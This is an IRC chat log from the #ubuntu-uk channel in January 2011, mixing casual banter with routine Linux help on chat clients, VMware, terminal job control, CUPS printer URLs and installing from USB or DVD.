<brobostigon> yeah, that Â£600 case.
<directhex> what's Â£600 between friends? ^_^
<brobostigon> alot.
<brobostigon> iwouldnt sell a bebox for that.
<Myrtti> wheeeeee sneezing is catastrophic...
<Myrtti> anyway
 * brobostigon gets Myrtti a box of tissues.
<Myrtti> new Aldiko on Android Market
<brobostigon> nos da, sleep well.
<brobostigon> nos da cps :)
<cps> nos da brobostigon :)
<Nikedia> Hello Peeps
#ubuntu-uk 2011-01-18
<Nikedia> Hello
<hamitron> hi
<Nikedia> Don't suppose you know how to update ayttm as there website on sourceforge has an update
<hamitron> erm
<hamitron> have you installed it through the repositries?
<Nikedia> I am running Mint.. so I installed it via the software manager
<popey> there's barely any difference between 0.6.2 in ubuntu and 0.6.3 on their website
<popey> Nikedia: we don't provide support for mint :)
<Nikedia> what about Facebook?
<Nikedia> do you know if it has facebook?
<popey> o_O
<Nikedia> chat that is..
<popey> the website doesn't mention it
<popey> http://ayttm.git.sourceforge.net/git/gitweb.cgi?p=ayttm/ayttm;a=blob_plain;f=ChangeLog;hb=AYTTM_0_6_3
<hamitron> facebook has chat? :|
<popey> nothing on that page mentioning facebook
<popey> yes hamitron
<popey> welcome to last year
<hamitron> k ;)
<popey> :)
<Nikedia> lol
<Nikedia> thats cool. thank you for your help as I know you dont support Mint..
<popey> have you tried pidgin?
<hamitron> a pleasure anyway :)
<popey> i believe there is a facebook chat addon for that?
<Nikedia> yeah crashes
<hamitron> :/
<Nikedia> when you attempt to load up the network it crashes :S
<popey> :S
<popey> sorry, you've reached the end of my knowledge on the subject
<popey> I don't have a facebook account
 * hamitron neither
<popey> ^5
<Nikedia> ok no problems.. thank you for your assistance.
<popey> np
<hamitron> hmmm, I should update from ICQ to skype or google chat :/
<ali1234> Nikedia: you have three choices:
<ali1234> you can get the source package from mint repositories, update the source code inside to newest version, fix all debian patches, and rebuild it
<ali1234> or, you can remove the deb package and install from source. but then you won't get updates
<hamitron> or quit facebook
<hamitron> ;)
<ali1234> or, you can bug the debian maintainer to do it for you, then bug the mint maintainer to import the new debian package
<Nikedia> yeah that sounds good..  leave fb lol
 * hamitron as non-productive as normal ;/
 * Nikedia Agrees
<Nikedia> not that I know you.. sorry
<hamitron> :)
<hamitron> use the source as a temp solution sounds easiest
<Nikedia> prob not gonna bother tbh,,
<hamitron> even easier
<Nikedia> too much hassle for just an chat client
<ali1234> install ubuntu, pidgin works on ubuntu...
<hamitron> hehe
<ali1234> i'm using it right now...
 * hamitron too
<Nikedia> lol
<hamitron> not crashed for over 8 months
<Nikedia> i normally use Trillian but its windows only :*(
<ali1234> although i don't have facebook plugin installed... maybe that makes it crash
<ali1234> i have used pidgin + facebook xmpp before... but that isn't as good apparently
<hamitron> what is Empathy?
<hamitron> :|
<hamitron> it has facebook chat
<ali1234> !info empathy
<lubotu3> empathy (source: empathy): GNOME multi-protocol chat and call client. In component main, is optional. Version 2.32.1-0ubuntu1 (maverick), package size 834 kB, installed size 2400 kB
<ali1234> it's only the default IM program on ubuntu...
<Nikedia> yeah that doesnt connect either :S just displays network connection error..
<hamitron> I am only a partial ubuntu user....
 * hamitron sighs
<hamitron> 41gb hdd free, need 105gb
<hamitron> ;)
<UtrinqueParatus> Does anyone have any experience installing workstation 7.0.0 in ubuntu 10.10 x64?
<UtrinqueParatus> vmware ^
<hamitron> no
<hamitron> if not supported at time of release, do they still provide a patch to compile?
<hamitron> anyany or something
<UtrinqueParatus> there is a patch and i have applied it which got me past the kernel headers issue but now its failing to rebuild vm modules
<hamitron> http://pario.no/2010/10/02/installing-vmware-workstation-7-1-1-64-bit-on-ubuntu-10-10/
<hamitron> not sure though, so read carefully
<UtrinqueParatus> yeah i tried everything there earlier today
<UtrinqueParatus> thanks thoug
<hamitron> k :/
<UtrinqueParatus> s/thoug/though
<hamitron> coffee and refreshments time I feel
<hamitron> brb
<hamitron> bk
<UtrinqueParatus> can anyone recommend anything similar to visio to create HLD's?
<enthdegree> w/c
<MonsterKiller> Hey. I have a file in a dir called hldsupdatetool.bin but when i do ./hldsupdatetool.bin it says it doesnt exist.
<MonsterKiller> http://paste.monsterprojects.org/mpbeesbrerjhhwj
<MonsterKiller> idk whats wrong :/
<MooDoo> hello all
<MooDoo> monsterkiller: does it have execute permissions?
<AlanBell> o/ all
<MooDoo> AlanBell: morning
<TheOpenSourcerer> morning earthlings
<kazade> morning all
<diplo> Morning all
<danfish> lo
 * danfish notes that TheOpenSourcerer is in 'alien overlord' mode today 
<MooDoo> danfish: shhh don't say that, he's watching....
<MartijnVdS> so that's what all those CCTV cameras are for
<MooDoo> isn't that right....er my lord :)
<MartijnVdS> MooDoo: ah! Alan "Alien Over" Lord?
<MooDoo> MartijnVdS: yup :)
<MartijnVdS> hiding it in plain sight
<MartijnVdS> clever!
 * TheOpenSourcerer goes to look for his laser gun...
<MartijnVdS> â« "The chances of anything coming from Mars, are a million to one", he said
<dwatkins> Great radio play, that, MartijnVdS :)
<dwatkins> ...and good morning fellow humans
<MartijnVdS> dwatkins: it's the only way to picture alien invasion of Britain.. cylinders from Mars :)
<DJones> Morning all
<AlanBell> million to one chances seem to comes up nine times out of ten
<dwatkins> Indeed, AlanBell.
<MartijnVdS> AlanBell: About one in four people think that, yes
<czajkowski> Aloha
<MooDoo> czajkowski: morning, how are you feeling today?
<czajkowski> no improvement
<czajkowski> but made it into office
<MooDoo> czajkowski: ok just checking :)
<gord> good morning all
<jpds> Moin.
 * czajkowski pokes jpds 
<czajkowski> ello
 * dwatkins discovers that Virgin Media never cancelled his account despite saying they had
<MooDoo> dwatkins: still been paying for it?
<dwatkins> MooDoo: they agreed to back-date the charges, but I was, yes.
<MooDoo> dwatkins: well as long as you're getting the money back :)
<dwatkins> yeah, MooDoo - I shouldn't have had to call up, but ultimately, yes.
<Daviey> dwatkins, the same happend with me... except i had cancelled the DD.
<dwatkins> Daviey: I also cancelled the DD, so I'll have to pay them manually, I expect. Oh well, their fault, ultiimately.
<dwatkins> I knew I should have written to them.
<Daviey> dwatkins, I did write to them, they only listened when i quoted the royal mail tracking number...
<dwatkins> Daviey: yeah, I wouldn't be surprised if they ignored a letter for a month anyway.
<jpds> Letter? Don't people use emails nowadays?
<dwatkins> jpds: they can get lost also
<popey> morning
<TheOpenSourcerer> Hmm - QT Libs/Apps in Natty+1 by default? http://www.markshuttleworth.com/archives/568
<Myrtti>  ho-hum. neck and shoulder is still really sore.
<Myrtti> I'm slowly starting to be annoyed by this impairment
<czajkowski> MooDoo: tried a hot shower to help relieve some of the pressure
<czajkowski> bah
<Myrtti> no, not yet
<czajkowski> Myrtti: tried a hot shower to relieve, put the pressure on the spots
<Myrtti> had to turn the laptop on to atleast look like I'm in work
<czajkowski> should help losen the tension there
<Myrtti> although I can do that on my phone, found a relatively good XMPP client for Android
<MooDoo> czajkowski: i see what you did there, moo is quite the same as myr ;)
<Myrtti> but yeah, not yet. I'm planning to, might even venture out to find a pharmacy and try to get some medication
<czajkowski> Myrtti: if you can get a heat pad they work a treat
<dwatkins> Hope it doesn't last long, Myrtti.
<dwatkins> My arms are aching today, but it's mostly self-inflicted from excercise.
<BigRedS> see, excercise is bad for you
<dwatkins> BigRedS: only if you don't do enough of it.
<DJones> Have to agree BigRedS, people who exercise always seem to have more injuries than people who don't
<dwatkins> DJones: that's quite a sweeping generaliation.
<dwatkins> Also, I broke my ankle in 2001 and wasn't excercising at the time.
<popey> https://wiki.ubuntu.com/Qt :)
<TheOpenSourcerer> I note similar consequences of exercise to DJones.
<Myrtti> I ruptured two discs in 2007 and I still don't have all the sensation back on my right leg
<gord> qt is nice, but i have a hard time thinking of any qt applications i actually want/need =\
<gord> skype is qt i guess right?
<popey> yeah
<popey> digikam?
<DJones> dwatkins: Thats just from personal experience, although I have to exclude my wife who gets injured sitting on the couch
<popey> amarok?
<bigcalm> Morning peeps :)
<TheOpenSourcerer> I wonder if there is a "killer" app that SABDFL wants in Ubuntu...
<Myrtti> Scribus
<popey> other than thunderbird?
<gord> well i have gtk equivalents that i prefer over them
<Myrtti> there is not Scribus equivalent imo
<TheOpenSourcerer> popey: TB is not Qt as you well know. Trouble maker. ;-)
<gord> scribus ain't getting on the CD anytime soon i think
<popey> I didnt say it was :p
<Myrtti> gord: well, no, but it uses Qt
<DJones> Myrtti: My wife did that a few years back, she still has regular spells of pain & discs moving causing problems, don't think it'll ever go away
<Myrtti> you weren't limiting your "applications I actually want/need" to those that would be on the cd
<TheOpenSourcerer> Anyway - off to a meeting. Back laterz. Now GET BACK TO WORK ALL OF YOU!!!!
<dwatkins> DJones: oh wow, I hope she's ok
 * popey gets back to work
<gord> but i just DID some work the other day!
<gord> :(
<Myrtti> DJones: yup, same with me - I have trouble shaving my right leg because I can't feel where the blades are
<j0nr> I personally think exercise done properly keeps you less prone to injury.
<Myrtti> atleast I can feel my toes nowadays
<j0nr> depends on the exercise obviously
<j0nr> I used to work out with weights, I have been off it for a few years now, due to job and kids, and feel awful, cant sit on the floor for too long, simple jobs make my muscles ache, cos my body is not used to being used. Feel much more likely to sprain something
<DJones> dwatkins: She's ok generally, but working in a job with a lot of driving to patients and constant bending over them once she gets to their house does put strain on it
<DJones> j0nr: Thats just a consequence of increasing age :)
<dwatkins> DJones: yeah, I can well imagine - I had problems with my back in the past, so can relate to that
<dwatkins> I was surprised that my brother started doing dancing, but he seems a lot healthier for it.
<dwatkins> He's nearly 40, and has 2 kids.
<DJones> We did that a couple of years ago & it was surprising how much it helps to tone up
<dwatkins> I have a colleague who does capoeira, sounds like fun but also sounds pretty hard.
<MooDoo> dwatkins: lots of spins and kicks :)
<dwatkins> Like kick-boxking, I guess.
<MooDoo> dwatkins: not really
<dwatkins> oh ok
<MooDoo> dwatkins: it's more like a dance [ish]
<dwatkins> So I gather, yes.
<Nafallo> capoeira is a brazilian street dance, yes.
<MooDoo> http://www.youtube.com/watch?v=Z8xxgFpK-NM
<DJones> We want to start dancing again, its just trying to find classes & a time when we could fit it in
<jpds> Nafallo: You would know.
<Nafallo> jpds: I would indeed.
<Nafallo> it was one of the other martial arts I concidered before I started Muay Thai.
<MooDoo> escrima is pretty good :)
<MooDoo> aikido is good as well, but for someone 6'6 it's a pain being thrown to the floor all the time lol
 * Nafallo will still prefer Muay Thai, it's just enough violent.
<Nafallo> ;-)
<MooDoo> Nafallo: yes in deed :)
<Nafallo> at least that's the main reason I did that one :-P
<j0nr> DJones: Yeah I know, but I do feel if I were more active I would feel more capable to sit on the damn floor!
<j0nr> I lock up if I sit cross-legged on the floor for too long. am only 32!
<DJones> j0nr: Just do what I do, don't sit, just sort of crumple in a heap
<j0nr> When th boys grow up a bit (both under 3 atm) then I will get back into looking after myself a bit more. Just no time at the mo
<j0nr> DJones: Heh heh
<popey> j0nr: no you wont :)
<MooDoo> j0nr: i know that feeling :D
<j0nr> popey: :) don't spoil my illusion
<squig> join #python
<squig> oops!
<bigcalm> popey: hehe aww
<bigcalm> 20 mins a day on the wii fit - I'm feeling fine
<bigcalm> Humm, gmail being slow for anybody else today?
<MartijnVdS> bigcalm: not slower than usual
<bigcalm> MartijnVdS: it's hanging on the loading screen for me
<bigcalm> Usually experience no lag at all
<MartijnVdS> bigcalm: if it hangs on "Loading" it'll offer the HTML version, won't it?
<DJones> bigcalm: Its fine for me
<bigcalm> It does, but I don't want to use that
<MartijnVdS> bigcalm: but does that work?
<bigcalm> Then I shall blame Virgin Media!
<MartijnVdS> bigcalm: maybe you should disable some labs bits?
<bigcalm> Weâre sorry, but your Gmail account is temporarily unavailable.
 * bigcalm grumbles
<Silver_Fox_> Hello.
<bigcalm> Logging out and back in fixed things
<DJones> Morning Silver_Fox_
<Silver_Fox_> Hello DJones ,  how are you?
<MooDoo> Silver_Fox_: hello
<Silver_Fox_> Hi MooDoo :)  How are you doing?
<DJones> Silver_Fox_: Not bad thanks, you ok?
<MooDoo> Silver_Fox_: i'm fine thanks for asking :)
<MartijnVdS> bigcalm: rotten cookie :)
<Silver_Fox_> Thats wonderful to hear MooDoo
<MooDoo> Silver_Fox_: and what about your good self?
<MartijnVdS> hm.. I like that letterfu idea for the "my printer works" test page :)
<Myrtti> I wonder how long I should have stood under the shower to make the shoulder ok. The water pressure here is quite high, even higher than in Finland - started to feel the rust smelling water would start peeling my skin off soon
<Silver_Fox_> Erm, I'm alright I guess MooDoo .  I think I am well again =)
<czajkowski> Myrtti: about 10-15 mins can help
<czajkowski> but the heat pad will work wonders
<bigcalm> Having a shower head that can pulse the water flow can help
<DJones> That reminds me I need to unblock the pulse part of our shower head
<MooDoo> czajkowski: Myrtti you can also get cold pads, they help as well
<MooDoo> Silver_Fox_: been poorly?
<Silver_Fox_> MooDoo,  Well I took my first sick day in 2/3 years yesterday :)
<MooDoo> Silver_Fox_: oh dear, not this flu thing that's going around?
<gord> i have heard a lot of people speak wonders about heat pads
<Silver_Fox_> I'm alright though,  just keeping busy with some projects, the forums and real life  @ MooDoo
<MooDoo> Silver_Fox_: good good :D
<Myrtti> I wish I were sickly in UK or Finland, this sucks
<czajkowski> MooDoo: Myrtti or get a can of deep heat and cover the area
<Silver_Fox_> Flu / cold thing.  Sort of reared its head last friday about 3ish
<MartijnVdS> czajkowski: unless it's a tendon, then cold > heat
<MooDoo> Silver_Fox_: yup i've had it myself :(
<Silver_Fox_> Oh and my usual banter with Joeb454 has been keeping me quite busy. Speaking of which must go find him...
<MooDoo> Silver_Fox_: banter rocks :)
 * MooDoo prods czajkowski 
<Laney> argh
<Laney> I charge my phone overnight, and in the morning it has the same battery level as it did when I went to sleep
<MartijnVdS> Laney: somewhere in the 90-100% range?
<Laney> no, that would be understandable
<Laney> it was on 'low battery'
<MartijnVdS> Laney: are you using a "real" charger, or an USB port on a computer?
<MartijnVdS> Laney: is the phone running some CPU/battery-intensive task in the background?
<Laney> it was a real charger, and no I closed everything
<Laney> always possible something is running though I suppose
<MartijnVdS> time to buy a new charger :)
 * Laney runs top
<Laney> yeah well it was an old nokia charger run through an adaptor to micro-usb
<Laney> so I suppose that could be suspect
<DJones> How old is the battery, could be faulty
<Laney> up to a year I suppose
<Myrtti> Laney: N900? does the USB port wiggle? :-/
<winterweaver> how do I kill an app that I started in the terminal, after I pressed ctrl-Z instead of ctrl-C? It says the program is still running
<Laney> fg will resume it
<Laney> Myrtti: yes, and I haven't noticed that
 * Laney looks
<Myrtti> be careful
<Laney> doesn't seem wiggly. Strange thing is that it always says that it's charging.
<Laney> I've seen it say that the phone is drawing more power than it's getting before, but that didn't happen either
 * Laney spots http://mynewn95.blogspot.com/2010/01/n900-battery-not-charging-after.html (and it did discharge completely)
<winterweaver> thx
<Laney> winterweaver: ctrl-z is 'suspend', you can then run 'fg' to get the task back to the foreground or 'bg' to continue it in the background
<winterweaver> cool, hope I'll remember that in future :)
<bigcalm> popey: dot to dot!
<popey> :)
<MooDoo> popey: bigcalm a dot to dot of sladen :)
<popey> A dot to dot of a brompton!
<Laney> letterfu is pretty cute
 * Laney should read the ML sometime
<davmor2> morning all
<dogmatic69> o/
<screen-x> morning :)
<andylockran>  howdy
<BigRedS> g'morning!
<andylockran> you well
<andylockran> ?
<andylockran> top of the morning to ya
<diplo> Azelphur, did you sort nagios ?
<Azelphur> diplo, indeed, only to find out that my effort was largely ported as nagios is abandoned and forked now
<Azelphur> :D
<diplo> It's got forks but not abandoned though ?
<diplo> I use nagios all over the place
<Azelphur> diplo, oh ;p
<Azelphur> diplo, apparently icinga is what I'm meant to be using
<diplo> Was going to say you could just use check_procs
<Azelphur> o.O
<diplo> it's an alternative based on nagios code, I don't like it that much, i prefer some parts
<DJones> Heh, Facebook has backtracked on letting applications have access to users addresses & mobile numbers
<Azelphur> you dont like icinga?
<diplo> Dont like all of it, like parts
<Azelphur> :p
<diplo> Centreon is nice but a biatch to configure, which is a front end to nagios
<Myrtti> DJones: I didn't mind having my info on Facebook before, but now with the app access, I took them off
<Azelphur> diplo, I mostly have nagios working anyway, just need check_game
<DJones> Myrtti: I didn't have mine on, but it did make me go and double check that I didn't just in case I'd forgotten I'd put them on
<Azelphur> I got nagircbot and nagdroid working :D
<diplo> nice, will have to do a write up of your setup at some point, always interested in stuff like that :)
 * dwatkins never put his mobile number on facebook for exactly this kind of reason
<Myrtti> ujujujuuuuu I heard a little snap from my neck
<BigRedS> I went to remove all my personal information from it the other day, and didn't fund any :)
<DJones> I was tempted to put the phone of privacy international in mine :)
<Azelphur> diplo, haha I hardly understand it myself
<DJones> Myrtti: Hopefully the noise was something slipping back into place
<dwatkins> I get that a lot from my neck, my wrists, my ankles and my back, Myrtti.
<dwatkins> I gather it's nitrogen suddenly going back into a part of the joint.
<livingdaylight> good moerning
<Myrtti> what does "arm's length body" mean? http://en.wikipedia.org/wiki/British_Council
<popey> not close
<DJones> Any transactions it makes are at arms length & not to benefit its own administrators
<DJones> Myrtti: http://www.dh.gov.uk/en/Aboutus/OrganisationsthatworkwithDH/Armslengthbodies/DH_4105577
<DJones> Maybe a better definition http://www.instituteforgovernment.org.uk/content/137/arms-length-government
<Myrtti> right
<DJones> It sounds like another name for a Quango
<livingdaylight> Myrtti, something not to be touched with a barge pole, even?
<czajkowski> danfish: you about ?
<Myrtti> awwww was watching bbc news and changed the channel because it was boring and then realised other channels are in foreign :-(
<popey> hah
<popey> "In foreign"
<MartijnVdS> Myrtti: but you understand foreign!
<Myrtti> oooo pokemon
<dwatkins> It appears an "arm's length body" is a quango, or quasi non-governmental organisation
<Myrtti> ooo cnn
<brobostigon> afternoonings all.
<dwatkins> that's what wikipedia seems to think anyway.
<Myrtti> MartijnVdS: these people seem to speak the kind of foreign that makes little sense to me
<AlanBell> dwatkins: it is something that isn't supposed to look political
<dwatkins> AlanBell: aha I see
<SuperMatt> I've just tried burning the natty iso to cd... it's too big
<czajkowski> SuperMatt: its in the documentation, need to be a USB I think
<SuperMatt> k
<SuperMatt> can it be burnt to dvd?
<AlanBell> or dvd
<Laney> sometimes the ISOs get oversized during the course of a cycle
<SuperMatt> yeah, it's no biggie, I have loads of blank dvds hanging around
<SuperMatt> just for some reason it wasn't working on my usb
<czajkowski> SuperMatt: oh likewise
<czajkowski> where are you having issues?
<SuperMatt> yeah
<SuperMatt> uhm
<SuperMatt> during boot
<SuperMatt> something about not being able to read something
<SuperMatt> dvd will do just fine though
<czajkowski> https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/703552
<lubotu3> Ubuntu bug 703552 in ubiquity (Ubuntu) "Unity won't install via usb as a clean install" [Undecided,Incomplete]
<davmor2> czajkowski: why does that read unity won't install, surely it should read ubiquity?
<czajkowski> we're gonna blame the way you have to enter text
<czajkowski> and ev didnt comment on it :D
<SuperMatt> yup, dvd is working fine
<czajkowski> so tis the USB!
<SuperMatt> yeah, it's working flawlessly from the dvd
<czajkowski> feckin usb
<SuperMatt> next up: installing centos :/
<davmor2> czajkowski: have you tried a different usb stick?
<SuperMatt> that's one thing I don't care much for
<SuperMatt> davmor2: it's me with the problems, and no
<SuperMatt> I don't have a spare right now :(
<davmor2> SuperMatt: czajkowski had a similar issue
<SuperMatt> oh right
<SuperMatt> well I'm installing natty on my test box, I wanna see what it's like these days
<czajkowski> davmor2: yup
<pr0ph3t> hi all
<MooDoo> hello pr0ph3t
<SuperMatt> oh god, grub won't install >.<
<SuperMatt> I'll see if centos will install ok
<screen-x> I have a printer shared via cups, how do I work out what the ipp url to access it is?
<davmor2> screen-x: for what?  If it's ubuntu all you need to do is select show printers shared by other systems in printing.
<screen-x> davmor2: the printer is shared by an ubuntu system, but I need to connect to it from an old CLI only suse install.
<DJones> Do you not just got to http://ipaddress:631 and can pick the ip address/printer name up from there
<screen-x> DJones: I  know the address and the printer name, but not sure how the url should be formed.. ipp://host/printer? ipp://host/queue/printer? etc
<DJones> screen-x: Ah, ok, I did that to connect a shared printer to a windows box, but that was using the http:// address, not the ipp address
<screen-x> DJones: maybe I could use http instead.. how did you form the url?
<davmor2> screen-x: ipp://ipadress:631/printer/name of printer
<screen-x> davmor2: thanks :)
<davmor2> screen-x: sorry it's ipp://ipaddress:631/printers/name of printer
<davmor2> not printer
<screen-x> ok :)
<popey> I CAN HAZ FALAFEL!
<popey> that is all
<popey> i have a premonition
<popey> kaushal will arrive shortly...
 * czajkowski steals popey FALAFEL!
<Myrtti> chickpeas are EVIL
<Myrtti> EVIL I TELL YOU
 * popey has chickpeas too!
<popey> It's a Feta & Falafel Snackpot from M&S.
<czajkowski> sounds fancy
<popey> "With butternut squash, cumin roasted carrot, chickpeas, spinach and tagine sauce"
<czajkowski> getting used t chickpeas
<popey> it's bloomin lush!
<czajkowski> just had a chilli concarni
<popey> I bought two :)
<czajkowski> ohhh Cumin roasted carrot DIVINE
<czajkowski> love roasted carrots with some honey over them
<popey> ooo now..
<popey> parsnips
<popey> vegetable of the gods
<popey> [FACT]
<MartijnVdS> [citation needed]
<Myrtti> cumin and chickpeas... please tell me it has raw celery stalks too
<czajkowski> carrot and parsnip mash YUMMY!!
<popey> nope Myrtti
<popey> not quite fully evil on the Myrtti-scale
<Myrtti> so it's just about edible, not downright dangerous
<Myrtti> ok ;-)
<popey> :)
<czajkowski> popey: is Frimley the address or is it Frimley, Camberley,
<popey> frimley, camberley, surrey
<czajkowski> thanks
<MartijnVdS> *ey
<popey> :)
<MartijnVdS> popey: so it's "Popey, frimley, camberley, surrey"
<popey> interesting to note that if you draw a line from roughly liverpool to london, above the line you'll find towns ending in *by, but not below the line
<popey> because thats as far south as the crazy vikings came
<popey> and *by is "near a river" or something in danish/dutch/viking speak?
<popey> MartijnVdS: sadly I don't live in frimley
<popey> s/sadly//g
<Myrtti> by is a village
<Myrtti> in Swedish
<Myrtti> if I'm not totally wrong
<MartijnVdS> According to the Wikipedia page for Ytterby it is :)
<MartijnVdS> (first Swedish -by place that came to mind)
<Myrtti> how geeky
<MartijnVdS> Myrtti: well, 4 elements were named after it.. :)
<Myrtti> indeed
<popey> Bronby is one place I worked in Denmark
<popey> maybe Brondby
<popey> with funny stuff over the o
<JamesTait> Yeah, with the 'd' I believe.
<MartijnVdS> popey: "bylaw" and "by-election" :)
<MartijnVdS> http://en.wikipedia.org/wiki/List_of_generic_forms_in_place_names_in_the_United_Kingdom_and_Ireland
 * czajkowski is from Limerick a viking town 
<JamesTait> I don't know about the funny letters though.
<czajkowski> :D
<popey> ah, BrÃ¸ndby
 * DJones is also from a viking town "Widnes" 
<popey> MartijnVdS: by-by!
<JamesTait> I wonder how that's pronounced, the 'o' with the line through it.
<Myrtti> like Ã¶ in Finnish ;-)
<Myrtti> *cough*
<Myrtti> well, very close to it
<JamesTait> Is that similar to the same letter in German?
<brobostigon> JamesTait: maybe, german and the scandinavian languages are quite different.
 * MartijnVdS is from "Alphen", which is an evolution of Roman "Albaniana"..
<Myrtti> brobostigon: you mean they aren't
<MartijnVdS> http://nl.wikipedia.org/wiki/Albaniana
<brobostigon> Myrtti: yes, :)
<JamesTait> I once worked with someone who had a Danish girlfriend. When she spoke natively it sounded quite unlike anything I'd heard before.
<JamesTait> Except maybe Dutch.
<dogmatic69> welsh...
<Myrtti> it does sound different, but it's still indo-european germanic language
<dogmatic69> that is some wierd stuff
<JamesTait> I find languages really interesting.
<dogmatic69> same
<JamesTait> I love the hear the different sounds and the similarities, some of them quite surprising.
<JamesTait> s/the/to
<dogmatic69> dutch is normallish to me, i am just about fluient with speaking/unerstading it
<JamesTait> Dutch is somewhat recognisable to me, it sounds like a dialect of what little I remember of German.
<MartijnVdS> JamesTait: try listening to some Frisian
<Myrtti> I've studied Swedish for good six years in school, so I get the general whiff of most written/spoken germanic languages, it's surprising how much I've understood here in Berlin
<MartijnVdS> JamesTait: it's more English-ish than Dutch
<JamesTait> And my wife is South Africa, so I get to hear Afrikaans quite a bit. :)
<czajkowski> lovely accent
<JamesTait> Usually when I've done something wrong. :-P
 * dogmatic69 is from SA
<JamesTait> Like missed an 'n' off the end of African and made is sound like my wife is an entire country.
<dogmatic69> hence understanding dutch :D
<czajkowski> nicest is still the Weslh followed by Afrikaans followed by Boston accent
<DJones> The last half hour seems to have solved the governments complaints that school children are studying the wrong subjects for GCSE's, just let them spend all day in #ubuntu-uk, they'll get a grounding in history, languages and the added bonus of open source software & systems
<popey> !
<dogmatic69> hehe
<dogmatic69> i second that motion
<brobostigon> +1
<Myrtti> DJones: and governmental organisation and food :->
<dogmatic69> would have loved spending school time in irc
<dogmatic69> hold on.. i did :D
<JamesTait> Hah!
<Myrtti> I even had a permission to do it
<Myrtti> ah, those were the days
<DJones> On the other hand, maybe not....I could also see an increase in trolling
<JamesTait> I got banned from the computer labs for using IRC.
<hamitron> JamesTait: or getting caught ;)
<JamesTait> True.
<Myrtti> my touch typing teacher was happy because it gave us dexterity and speed and good training :->
<brobostigon> we almost got banned for playing quake over the school network, a few times.
<JamesTait> I didn't think I was doing anything wrong.
<JamesTait> It seemed like an excellent resource, I learned a lot.
<JamesTait> The irony was that they didn't do anything about the people playing Quake or Grand Theft Auto on the network.
<brobostigon> :(
<hamitron> I am feeling kinda old now, only 1 computer at school even had internet :/
<JamesTait> I was learning and hardly using any network bandwidth, they were slacking and chewing up more bandwidth. Go figure.
<BigRedS> hamitron: Bah. just as I was feeling old for predating gta
<DJones> brobostigon: feeling old would that school only had one computer & the internet hadn't been invented (at least for general use anyway)
<JamesTait> We didn't have internet at school. We had ArcNet.
<JamesTait> I only got internet when I got to Unij.
<brobostigon> DJones: agreed,yes.
<JamesTait> You know, I think I'm going to give up trying to type today.
<hamitron> well, I am definately older than young now :/ maybe not old
<BigRedS> It's always the way. When you announce your inability to type today, everything goes well...
<BigRedS> sort-of inverse skitt's law
<hamitron> :)
<JamesTait> Too bad I've got a conference call followed by the school run fast approaching. :)
<dwatkins> We had a network of BBC Micros at school :D
<dwatkins> You could *VIEW someone else's machine to slow it down if a game was running too fast...
<hamitron> :))
<hamitron> I think they should scrap IT in education
<hamitron> never learned much from it
<hamitron> apart from printers never work when needed
<BigRedS> Always print before the night before!
<hamitron> it would be a bonus if I started the work before then ;)
<hamitron> but yeh, makes sense
<hamitron> :)
<hamitron> so after maybe 24/25 hours of IT sessions I know that
<hamitron> and BigRedS condensed it into 1 line
<screen-x> nooo, I setup a webcam to survey the label printer, but someone just turned it round :(
<hamitron> :/
<hamitron> reckon someone is printing "screen-x suxx" stickers?
<screen-x> I hope not!
<screen-x> all their cups logs are belong to me
<hamitron> :))
<screen-x> hmm, so should I click on System > Administration > Printing or System > Administration > Printing ?
<hamitron> click? :|
<DJones> screen-x: Next time, you'll have to set up a webcam pointed at the webcam surveying the label printer so you can see who moves it
<andylockran> http://dpaste.com/329281/ <-- my Business Continuity Plan for Incapacitated Personnel.
<andylockran> :)
<andylockran> reckon that's NSFW, or shall I submit it ?
<BigRedS> I'd add a card to line 8
<andylockran> short term?
<andylockran> ah, long term
<BigRedS> yeah
<screen-x> DJones: It was the label printer that moved, so I saw the culprit :)
<DJones> screen-x: Ah, I thought you meant somebody had moved to the webcam
<AlanBell> gah
<hamitron> hmmm
<screen-x> baton down the hatches, its getting choppy
<hamitron> it is all well and good having no monitors on machines...
<hamitron> but now I am wanting to change hardware, it is a pain
<hamitron> and clutter sort of fills the spaces where I would have the monitor
<screen-x> hamitron: ?
<hamitron> I got 5 machines with no screen :/
<hamitron> but wanting to change the setups
<screen-x> hamitron: ipmi?
<dwatkins> What hadware are you changing, and could you prepare the machine beforehand to accept the change, shut down, then power up with it using the new disk etc., hamitron?
<hamitron> dunno ipmi
<hamitron> mainly swapping hdd dwatkins
<hamitron> but each has data on that needs moving around
<screen-x> hamitron: ipmi is teh awesome, and avoids all need for a monitor, but you need a machine that supports it.
<dwatkins> hamitron: I was reasonably successful with something similar recently, by using uuid instead of /dev/sd[a-d] etc.
<dwatkins> yeah, ipmi tends to only be an option on server boards such as the Intel S5000PSL
 * dwatkins goes for a meeting
<hamitron> my server only has 2 sataII connectors too :/
<bigcalm_> What more do you need? Hook up 2 x 3tb drives
<hamitron> I will struggling on, moving Tb over a 100mbit network
<hamitron> struggle*
<gord> having such a hard time with an sd card today... it keeps giving up and screwing up the superblock setting it in read only mode
<hamitron> geez
<hamitron> :/
 * DJones wonders whether facebook have nicked freenodes bandwidth
<brobostigon> likely, DJones :)
<hamitron> only until freenode moves over to the facebook platform ;)
<hamitron> I nearly emptied a 500Gb hdd \o/
<hamitron> without formating ;/
<hamitron> kinda funny when you realise you've downloaded some things more than once
<davmor2> popey: I love the idea of "where's Sladen" of course you will get sued for copying the concept you know you will ;)
<popey> not if its free
<popey> and sufficiently different
<Myrtti> *yawn*
<Myrtti> http://www.newscientist.com/article/dn19978-car-batteries-run-on-relativity.html
<bigcalm> Any suggestions for sourcing a5 spiral bound notepads with grid lines?
<bigcalm> Last one I got was from lidl, won't see them again for an age though
<Myrtti> 5mm, 7mm or 10mm grid?
<bigcalm> 5mm
<bigcalm> If I were in mainland europe, I'd just go to a supermarket
<dutchie> bigcalm: as fussy as me over paper? :)
<Myrtti> yeah, Finland has them everywhere, gridded notepads are what are the default in school
<MartijnVdS> bigcalm: WHSmith?
<Myrtti> doesn't Staples have em?
<MartijnVdS> or them
<bigcalm> Haven't tried them yet
<MartijnVdS> amazon has loads as well
<DJones> Maybe Rymans/Stationery Box could have them
<MartijnVdS> http://www.amazon.co.uk/dp/B00260GPS8
<daubers> Afternoon
<screen-x> afternoon daubers
<MartijnVdS> daubersman
<daubers> bigcalm: Big tesco stores sometimes have them
<bigcalm> brb phone
 * daubers is trying to make sure the server he's putting in the DC this evening is ready to go in while writing documentation for other things for a customer
 * popey is hovering over the "buy" button for some disks
<MartijnVdS> popey: don't do it!
<daubers> popey: What disks?
<popey> 2TB ones
<daubers> Brand?
<popey> WD
 * daubers just had a delivery of 40 of those
<popey> :)
